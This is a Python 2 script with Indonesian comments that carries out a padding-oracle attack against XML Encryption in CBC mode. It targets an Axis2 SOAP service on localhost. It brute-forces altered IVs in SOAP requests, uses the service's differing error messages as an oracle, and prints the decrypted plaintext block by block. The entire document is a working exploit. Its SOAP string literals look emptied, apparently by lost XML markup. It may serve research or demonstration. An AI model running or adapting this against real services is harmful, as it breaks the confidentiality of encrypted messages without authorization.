#!/usr/bin/python import urllib,sys,base64,urllib2 from urllib2 import URLError def split_len(seq, length): return [seq[i:i+length] for i in range(0, len(seq), length)] def decryptBlock(origIV, bloktarget): # Mencari IV yang membuat single byte padding iv_pad0x01 = findIV(origIV , bloktarget) # Mencari byte ke-16 intermediate value imvalue = [None] * 16 imvalue[15] = ord(iv_pad0x01[-1:]) ^ 0x01 for j in range(1,16): # j = 1 s/d 15 aset = findASet(iv_pad0x01, bloktarget, j) jmlaset = len(aset) mask = aset[0] if jmlaset == 1: for idx, mask3C in enumerate(mask3C1): if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C): imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat1[idx] break if jmlaset == 2: for idx,mask3C in enumerate(mask3C2): if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C): if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C ^ 0x2F): imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat2[idx] else: imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ mask3C ^ 0x2F ^ 0x09 break if jmlaset == 3: for idx,mask3C in enumerate(mask3C3): if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C): if isTypeA(iv_pad0x01,bloktarget,j,mask ^ mask3C ^ 0x2F): imvalue[j-1] = ord(iv_pad0x01[j-1]) ^ mask ^ kandidat3[idx] break ch = imvalue[j-1] ^ ord(origIV[j-1]) sys.stdout.write(chr(ch)) sys.stdout.flush() ch = imvalue[15] ^ ord(origIV[15]) sys.stdout.write(chr(ch)) sys.stdout.flush() return imvalue # j adalah byte ke (1 s/d 15) def findASet(prev,current,j): aset = [] # Byte mask 00,10,20,30-70 for R in range(0,8): msk = 16*R iv = prev[:j-17] iv += chr(ord(prev[j-1]) ^ msk) iv += prev[j-16:] if theOracle(iv, current) == False: aset.append(msk) return aset # j adalah byte ke (1 s/d 15) def isTypeA(prev,current,j,mask): iv = prev[:j-17] iv += chr(ord(prev[j-1]) ^ mask) iv += prev[j-16:] if theOracle(iv, current) == False: return True return False def theOracle(prev,current): url = 'http://localhost:8080/axis2/services/sample09' action = 'commandExecute' soap = '' soap += '' soap += '' soap += '' soap += '' soap += ''+url+'urn:uuid:5A92A276E09A5286FE1365170604478' soap += 'urn:'+action+'' soap += '' soap += '' soap += '' soap += '' soap += 'SessionKey' soap += ''+base64.b64encode(prev+current)+'' soap += '' soap += '' soap += '' clen = len(soap) req = urllib2.Request(url, soap, {'Content-Type': 'text/xml', 'Content-Length': clen}) oraclestatus = False content = None try: f = urllib2.urlopen(req) content = f.read() oraclestatus = True f.close() except URLError, e: content = e.read() if content.find('WSDoAllReceiver: security processing failed') > -1: oraclestatus = False if content.find('unknown') > -1: oraclestatus = True return oraclestatus def findIV(prev,current): ivlist = map(ord, prev) validmask = [] jmlvalid = 0 jmlvalid2 = 0 counter = 0 while jmlvalid < 16: counter += 1 jmlvalid2 = jmlvalid prev = "".join(map(chr, ivlist)) pset = [] for i in range(0,128): # brute force 00 - 7F paramiv = prev[:-1] paramiv += chr(ord(prev[-1:]) ^ i) if theOracle(paramiv, current): pset.append(paramiv) jmlvalid = len(pset) if jmlvalid < 16: pos_lessthan = jmlvalid ivlist[pos_lessthan-1] = ivlist[pos_lessthan-1] ^ 1 masktypeA = [] masktypeB = [] for p in pset: if ord(p[-1:]) & 0x10 == 0x10: masktypeA.append(p) else: masktypeB.append(p) if len(masktypeA)==1: iv_pad0x10 = masktypeA[0] if len(masktypeB)==1: iv_pad0x10 = masktypeB[0] last_imval = ord(iv_pad0x10[-1:]) ^ 0x10 mask0x01 = last_imval ^ 0x01 iv_pad0x01 = iv_pad0x10[:-1] + chr(mask0x01) return iv_pad0x01 ############################################################################################################## origcipher_b64 = sys.argv[1] origcipher = base64.b64decode(origcipher_b64) ciphertext = origcipher blokcipher = split_len(ciphertext,16) jmlblok = len(blokcipher) # Jumlah blok termasuk IV kandidat1 = [ 0x19, 0x1A, 0x1D ] mask3C1 = [ 0x25, 0x26, 0x21 ] kandidat2 = [ 0x00, 0x10, 0x01, 0x11, 0x02, 0x12, 0x03, 0x13, 0x04, 0x14, 0x05, 0x15, 0x07, 0x17, 0x08, 0x18, 0x0B, 0x1B, 0x0E, 0x1E, 0x0F, 0x1F ] mask3C2 = [ 0x3C, 0x2C, 0x3D, 0x2D, 0x3E, 0x2E, 0x3F, 0x2F, 0x38, 0x28, 0x39, 0x29, 0x3B, 0x2B, 0x34, 0x24, 0x37, 0x27, 0x32, 0x22, 0x33, 0x23 ] kandidat3 = [ 0x06, 0x16, 0x26, 0x0C, 0x1C, 0x3C ] mask3C3 = [ 0x3A, 0x2A, 0x1A, 0x30, 0x20, 0x00 ] print for i in range(1,jmlblok-1): origIV = blokcipher[i-1] bloktarget = blokcipher[i] imvalue = decryptBlock(origIV, bloktarget) print